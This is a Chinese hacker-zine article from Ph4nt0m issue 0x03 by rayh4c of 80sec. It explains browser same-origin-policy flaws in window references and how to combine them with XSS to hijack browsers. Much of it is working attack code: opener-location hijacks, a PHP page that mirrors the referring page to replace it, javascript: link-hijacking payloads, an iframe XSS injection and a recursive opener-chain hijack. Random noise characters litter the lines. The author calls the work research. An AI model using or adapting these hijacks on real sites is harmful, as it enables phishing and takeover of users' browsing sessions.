==Ph4nt0m Security Team==
2 f! ~$ Q8 ]# a3 s6 m/ |
5 ^0 {/ Z8 t# V2 K Issue 0x03, Phile #0x05 of 0x072 }3 \( G# {/ ^) i1 C1 W2 c
+ l- F$ d3 b: m* r' B/ V. Z6 Z" g: }/ p" F$ z
|=---------------------------------------------------------------------------=|/ s! f- A5 R% k2 G" l
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
' W+ H: F9 p( G" W' S2 Y2 H# @|=---------------------------------------------------------------------------=|
, r( w/ s( ]1 P: y: t" y|=---------------------------------------------------------------------------=|) d+ G* R. U4 T- u# h5 i8 Q
|=------------------------=[ By rayh4c ]=---------------------------=|
+ j, B% b8 L# R. Q|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|0 M: p8 Z/ h# I( L/ h
|=---------------------------------------------------------------------------=|
8 _% A9 \" W/ {# i! d4 C2 R3 C6 ~( Y M' T" D4 _% J
M9 |, ]; G+ H
[目录]
; H. f& v! r/ H" t' e) Y
0 N9 f4 e8 ^) _) s1. 前言3 M! j- q! m3 J0 O, r; H- v
2. 同源策略简叙
) Y9 x$ S+ ]3 O3 u3. 理解window对象的同源策略
) b1 a0 @! j0 K4 T; Z& X1 c. M; ]& R4. 窗口引用功能中的同源策略漏洞- u* B7 Y+ T7 _' A
4.1 父窗口引用子窗口的同源策略问题$ n6 D4 m& A, V- j' k# }: B/ D' F3 ~
4.2 子窗口引用父窗口的同源策略问题( P5 x ?9 Y) J$ J5 V
5. 利用窗口引用漏洞劫持浏览器$ B/ o- d8 a; t" l" O
6. 利用XSS漏洞劫持浏览器
- k; P$ E) L, l 6.1 正向跨窗口劫持; `7 ?) D6 h' b+ }1 ]- P
6.2 反向跨窗口劫持% G* }( x+ Y2 S) y2 d
6.3 极度危险的跨框架窗口引用劫持
) m: @( r5 ?' B+ T# `8 q# w8 q 6.4 极度危险的正反向跨窗口递归劫持/ ?5 u9 ]5 p/ ~7 f! l
6.5 完全控制浏览器( `3 _( y) W/ K/ R3 p
7. 后记+ ?3 H; Q3 t- Y9 j1 m/ E: Z
8. 参考
+ V1 r; g6 G+ D- @7 P9 `/ a
& a( v3 L$ C. ?' l0 E6 h1 S3 m& m% o l) o' F% V. }
一、前言
0 @* Z9 [1 g$ E# R7 Q: [$ i% L$ I2 O4 s: K
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
- A! e' }6 {3 D! T. `6 \2 V友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( S- W! @! u. E; ^ [0 ^劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被! t/ ^2 s# f; T+ h. n
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ x1 f+ m: s( d- r' ~1 e+ D D+ T2 ^/ g. `
- F+ Z4 b6 z( m+ @, ^1 u: \. P1 B; [二、同源策略简叙5 u( N2 o' P1 x- b5 {4 P. \, y
- r+ n/ \/ g$ K6 u
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以; J0 | @: `. x: q
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
: O4 M3 y4 D( k0 A- L4 y& p曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
5 C9 ^/ E% D7 P; P v马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
% |" I" U& a. h0 v* J ?2 U D4 ^9 o ?漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
) s4 ~% M w9 P' o) f% V, ^4 ]0 ~3 [# u7 X$ ?4 i2 n8 k
6 p" O+ H, H5 o/ D! f
三、理解window对象的同源策略
3 j7 T r$ [1 z, ^
0 V, K) Z( { a# z 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
, T5 }/ [4 T& Z. d# t象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:+ N4 _8 O, V8 X& T9 F! v
# ]7 c# V# K0 |% L& E' c2 Q' w) R--code-------------------------------------------------------------------------9 C" E4 |, D I# f4 B
<script language="javascript">
! p A7 s" |- V7 Jfor(p in window) document.write(p+"<br>");$ J7 K1 g, L: P- N4 x9 i
</script>
j% ] U9 O! H5 a-------------------------------------------------------------------------------
' I1 O8 e2 C% t, g8 h* r
8 j i: u5 f3 }: a 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方( \" `/ F* K7 t
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
6 [, ?& Z3 L$ A1 q) o这些属性和方法就必须遵循同源策略。* L; c7 i! u, m
5 t6 {% C/ T; r+ k: a- w- v
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那* N+ b4 e9 n4 o* N
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ e1 M/ k$ v9 M, d; t3 B2 v/ n
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( q7 r1 `6 Q+ q2 O个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的; V: g J w4 S/ i I
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
- I( a8 `' r9 k: ]# i7 Y- b: ?% j属性并没有被拒绝访问。/ p3 ^8 e9 u$ N6 `; p
( A, r: k1 x$ a. T! w--demo.html--------------------------------------------------------------------
9 q" e2 d2 v& |% R<script language="javascript"> ; Z( L% n; E3 Q5 M$ i
function allPrpos(obj) { : |. q! a2 q+ X* w6 C4 P5 P8 I
var props = "<table><tr><td>名称</td><td>值</td>";
) U) m( c* H9 j# O* B" F' F for(var p in obj){
$ N( W- ?0 g9 d) r, V8 B( U if(typeof(obj[p])=="function"){ ; @1 g; ^; M0 {1 P( e1 L: l, r4 Q. w
obj[p]();
; Q! b6 g7 g" U, j% C" E }else{
7 d9 V( v. W0 l, E( O9 f try 7 b- l# `7 n: K" O; P
{ 0 f& T5 g) [" a7 p; ?6 z! ^4 B
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 2 p6 O( C+ G# Z* k/ u+ A1 R
} & r# `- S7 G1 R1 n# i
catch (ex)
6 [1 [. \9 T$ }3 v' z9 m {
$ c# d1 k: a5 h) n" V; ~" @ ' [5 M3 X* R; _/ N1 w1 S0 C
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 1 P0 d3 }2 F8 }2 z: P4 N1 }
} ! y/ b* ~% {5 ~7 H
$ B% s; s) j! b: [4 u4 N& G7 c
}
3 |; N# H/ k/ `" z0 |$ ~9 q }
1 g+ N* B7 n7 p& w) d& W4 J
/ b3 j8 c! A3 l document.write(props+"</table>"); # b, \; I, \' w. f y4 r7 J! ^
}
) }! J+ V% i6 H3 u3 Y8 _. {+ W
& a1 h, |" s4 U) l. P) B) afunction createWin() {
8 h5 K6 b' X( E& j$ a! j, `+ I {5 | newWin = window.open ("http://www.google.com");
8 s8 V2 ?6 G9 j1 L- Y setTimeout(function(){allPrpos(newWin)},2000); $ w9 |, R( r" B- c8 C7 b
} 8 a6 [. Y4 g( h$ [
7 I4 g5 s+ Z4 Y) Z1 M8 p4 R</script> 3 o( U3 K9 A, ~) [2 J$ b0 X' H3 u
# @' [) D/ L Q% d+ s<button onclick='createWin()'>创建一个非同源子窗口测试</button>
& S, p3 ~, }5 H-------------------------------------------------------------------------------
0 j2 ?/ b7 W# Y9 [5 U
- q7 A: D% T( H8 E8 C; E% w9 T2 Z* u
四、窗口引用功能中的同源策略漏洞
3 A# w/ S1 n; n8 y; a
/ {# O) ?+ {, M \: T4.1 父窗口引用子窗口的同源策略问题2 N% A' E! L" G* x, b
3 ?% C, P4 u6 K( G3 ^ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
' S9 M8 Z8 R: P5 |. e+ Z. [2 @但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道" }1 d5 J. V- j! c7 h8 o
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进/ S9 |3 k4 ~* e& |- v8 x) S
行测试,会发现父窗口可以控制非同源子窗口location属性值。$ w) ]( g5 l5 Y2 L" F
# E- j. S' d7 P% @7 [--vul1.html--------------------------------------------------------------------
. z& i2 Q3 f. Q4 m. H<script language="javascript"> 7 Q+ l2 }7 y1 ?: G/ V1 |0 K& P
function createWin() {
e0 @% S% r# \' o8 I" j newWin = window.open ("http://www.google.com"); " A: a9 z2 M+ K; B( N# O/ \4 M
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 2 r3 r+ Q" n8 U
} % a/ H9 p/ |6 p: {* d
</script>( `; R6 v0 x, T# c
* H4 N5 B( h# d$ o
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 d) y+ y1 e+ i5 o) G0 U, u/ M$ W! Q+ Q-------------------------------------------------------------------------------- x1 r. H/ B# A( P! W! ^% A+ V8 x
8 s3 o1 S# @, e/ t
3 w7 s: a0 Q$ }/ M# c, u( G/ Q
4.2 子窗口引用父窗口的同源策略问题8 g! D, w! f* }+ {3 Y! ~
, J7 d; d* S& }5 f
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使4 o1 ~. z6 A4 Q: _# G# Z4 R2 C$ P
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
; C, R8 x* L7 k' W" D, Y0 D可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
- }3 V- f) I/ N6 ]% M' o' |会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。5 a8 U, C0 k9 l( E, Q
! P5 ?, e0 d+ x--code-------------------------------------------------------------------------
, ^! I) u& F- c" t2 m/ k* f4 K% S& K; Y# ~+ u
javascript:window.opener.location = "http://www.80sec.com";void(0);
! h/ D2 Z. h) O( a$ X8 O6 i
; d9 x1 X0 e) L1 F-------------------------------------------------------------------------------( @5 L3 Q$ C( q8 J% B' B9 a x
2 P% N% V7 a6 B, c: h3 ]+ f
; c; }* V4 W. C1 H- p( N
五、利用窗口引用漏洞劫持浏览器
8 ^& `' ^, `( j3 {9 W' Y1 T3 u
* x8 w: L% e9 Z* ?! V- ]4 F 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子8 {! x2 S8 {5 z6 Z! o& H+ f4 M2 K8 E
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
! U( Q) i) ?0 G) E; Y7 s. V, i* w么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。9 R$ H; H5 D- r& x4 [
. D, o) v9 Q N% P" ], ~: R0 v 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产+ l0 F! }( { _1 `" r D0 S
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
3 z: _7 @7 g x7 v5 ]者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
F9 E9 k, \ V7 |后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ o! L% ]5 n% |* V: o& B会产生什么可怕的后果。. ]3 N, E$ N" U8 t% p+ T
4 P2 ?7 [' _) G: H+ S& ?* h5 ]
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我; S& r! B) M; }7 f
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php1 R( [7 H8 ^; x# z. \" b
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时. X- R/ W, ^& r! N7 D
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可/ Q5 _1 f9 s9 T& H
以做更多的事情,所有的一切仅仅是因为点击了一个链接。+ m/ H" Z& ~6 `/ n; W
( y) @; z9 I& e0 g" c7 e0 R) [1 K
--hjk_ref.php------------------------------------------------------------------0 \1 r) L5 h' n: Q: G. `
<?php% x0 f4 z% F: ?' L
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
! [6 _3 k6 J g# u$Url_Mirror = $_SERVER["HTTP_REFERER"];9 A0 t/ e$ I" K3 e
}
& G# Y0 f/ w. V/ jif(isset ($_GET['ref'])) {
/ ~/ p" X! L* q1 h* m, a. Oecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';0 E5 ]& t" t5 ?
}5 `. H4 W+ H7 t/ F# e: ^; V
?>) ]8 y: D5 L$ ~1 O+ _- H
{$ j' `# v6 u
<script language="javascript">9 c3 F* Y5 X# A6 H+ i9 M. K: x
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
, `4 w5 W, D% ~! R</script>
$ u# j4 h/ X7 i$ w/ ^% D$ Y-------------------------------------------------------------------------------
5 _. [; T9 c7 E; y
8 A8 S- L; g6 s3 T' \ 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
( Z3 F% A2 V* W8 G t/ P! u* I! Q9 l% e
" U+ P# R" G: w六、利用XSS漏洞劫持浏览器
7 c2 e0 l1 S% Y) k+ o) a X3 R
2 Z! W- L2 w$ b) _& m 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
. v+ q) S( C) g1 `& c. _6 q4 s持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
2 Y7 p! t& G) s2 p" P) {XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起 ~1 p1 [ r! x/ ?" v5 [% R
讨论跨站师的终极技巧:
* i& d* z" y- W- i! i3 ^! W" a; c8 W- H8 W0 r; c
; ?$ a% S& E/ O# v: d
6.1 正向跨窗口劫持
. `! l& G; b' ?/ a( [" q, U/ l
0 y8 U1 [! Z$ r3 W: N! L 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛" e% K' `9 @0 d" n) ^7 V
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
" E) g+ t. L) t# }2 C接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话; I8 `8 |- o$ V1 [: M
框脚本。 / {# ?* x+ b! }2 z$ ^/ b+ g+ g
2 f3 A8 q& N" D. j--hijack_open.js---------------------------------------------------------------
. q3 A/ \# f6 w4 m8 O" e3 {7 E: F
2 Z& c' d6 A$ Ijavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);! o7 X; T/ v# |. Y9 i' i9 \
2 g9 F; h, ~/ y3 o" @
-------------------------------------------------------------------------------
& J& i' G2 x% i. ?6 ?: N1 G! ~) q' J( Y
/ a+ e$ t+ Y$ l0 P. ~/ V
6.2 反向跨窗口劫持7 e6 k* f1 i& v7 K) S7 W
4 r- ^4 s. X# M0 s9 o 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代$ w0 a8 h4 R' G$ B9 D
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话% M6 X0 q) C) [, F k/ n" p
框脚本。
Q* S7 c0 ~. f0 _4 d. \, ?- y: r
; q7 h) D( f+ C2 Y--hijack_opener.js-------------------------------------------------------------' c1 t: r: e, @
7 S8 P/ {* H! M H
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
2 F: G7 k! Q8 K: Z( j+ P* v- @1 G
-------------------------------------------------------------------------------
8 C8 k* W- M% T1 [1 j3 R# X" @2 C3 Y! w% o! `+ k* J, K# w* n) i; J3 u
- f+ z6 g, v0 f2 F
6.3 极度危险的跨框架窗口引用劫持; [6 z, w/ C+ A2 V: } z, ?
3 Z) A! ]! y7 Q
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞" w7 q" B$ N8 Z. d* m
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
- X* b, w5 N" M; G# [6 i适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
9 Z- h# Q& M) ^2 G" _4 ^非持久型的XSS,如下:/ h& T" u/ O+ ~4 J" s
, J( Z3 X" v/ k6 P' c2 v4 V3 e" x
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
9 Y x+ J$ a1 L! N: A9 I
$ n3 C- ]0 B9 g 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
4 c& b. F: u5 u1 _1 u注入脚本。, X, S m% J2 k4 f# m" Y" K
, L& i/ i# J. V+ y/ z4 G# F/ A--hijack_frame_opener.js-------------------------------------------------------
5 G* n, n) f" H8 ]$ @1 b<script>. E" J8 I5 O6 r* q, r1 S4 u8 O
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
; d/ h: d* ^1 |2 e</script>& \7 k5 q7 @9 W- i5 M# N3 s
-------------------------------------------------------------------------------2 v0 `) f/ e! P' Y( l
# S2 D" \" u. d$ Z- f/ _$ Y% M6 |4 e6 n' }2 s. W/ f
6.4 极度危险的正反向跨窗口递归劫持; |! f+ o- E$ K( ]4 ^/ G! e
) W# m O2 I, @ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
2 \( q" q0 l! ^% {0 h的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过0 n$ A/ T4 ^: D( L- E* J0 g; {' t
异常处理规避之间跨域页面的访问异常,代码如下:" e1 Q' j* @: R8 G% u. m
$ I3 y5 _% {+ n+ i4 A--code-------------------------------------------------------------------------
5 Y/ ?# z3 i) c
% Q* X( Y/ q5 R4 ^% Y g- Ojavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);$ H a4 K1 H* u$ x
0 J Q) x2 V0 b) O1 w0 B" {' `-------------------------------------------------------------------------------* h- }4 E) @2 Z; U! K, }
' s' p. D6 B, T" g7 \
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可8 C1 Z! C% Z/ O& Z) d" j" H, a
以劫持B域之前的A域页面,从而实现“隔空打击”。
" j+ e" `- W3 \% S
* Z- z; n L+ x& A% f 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面9 b* Y) g4 S1 r1 N9 R% G
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。2 U+ p J6 p( B1 R6 s! u' ?
( J# E& }; E9 g7 M
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。4 T6 ~1 K+ \' n/ V
4 Q2 P$ r% E# ^6 U0 v
& k K! R" Z. g. i2 W6 ]6 [6 B
6.5 完全控制浏览器
8 s7 A' M/ {5 h( O! {+ R3 @# y7 Y
! C# W2 f& m! ~2 x% \" l3 G 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 ?$ x" H& {$ r1 g) w+ D! F. R是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
/ @" q- y) X. ?漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失6 ] I0 b/ T: a: n0 r
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
5 D% r, K5 `3 _1 C2 R4 ?/ R7 H, x! z列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站) {& X( L' S$ `# ~
师的终极目标 - 完全控制浏览器。 h- ~9 P7 o R6 B: M
. b3 X) z; t% h1 ?( B6 ?$ C1 x% H
% n( _0 y) Z1 Y8 K
七、后记( Z+ m' H2 N+ |
+ |2 ]- N6 q5 b- b [
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
; V h# h9 a8 L. V" M, E与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
3 [( Z M# Z! M: u8 l: e过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。1 {. @. D0 x7 s8 a
) x! M4 u5 y! C @' S- I( `( }0 |
. R% z2 \9 {* z( }1 K7 }八、参考' I% _ a- y9 ~% I& B* E# K
j: k! b4 J* ^# ]( ~6 {& w1. http://en.wikipedia.org/wiki/Same_origin_policy$ ]9 Z0 x0 l! a& I8 k- z
2. http://code.google.com/p/browser ... licy_for_DOM_access/ H+ Q" Y# Q; |: d& R3 A% O
3. http://www.w3.org/TR/Window/
! m- [! c( T% ^# C4. http://www.80sec.com/release/browser-hijacking.txt
A% }& z8 B) f! a) N6 X. ~% \5. http://www.80sec.com/all-browser-security-alert.html
' }; r9 ^# r. U) T/ {# H$ r3 l& M6. http://www.80sec.com/ms08-058-attacks-google.html! R, {# q* W* Q' U; j( B
" |6 a. h( N) b$ k$ I/ p-EOF- |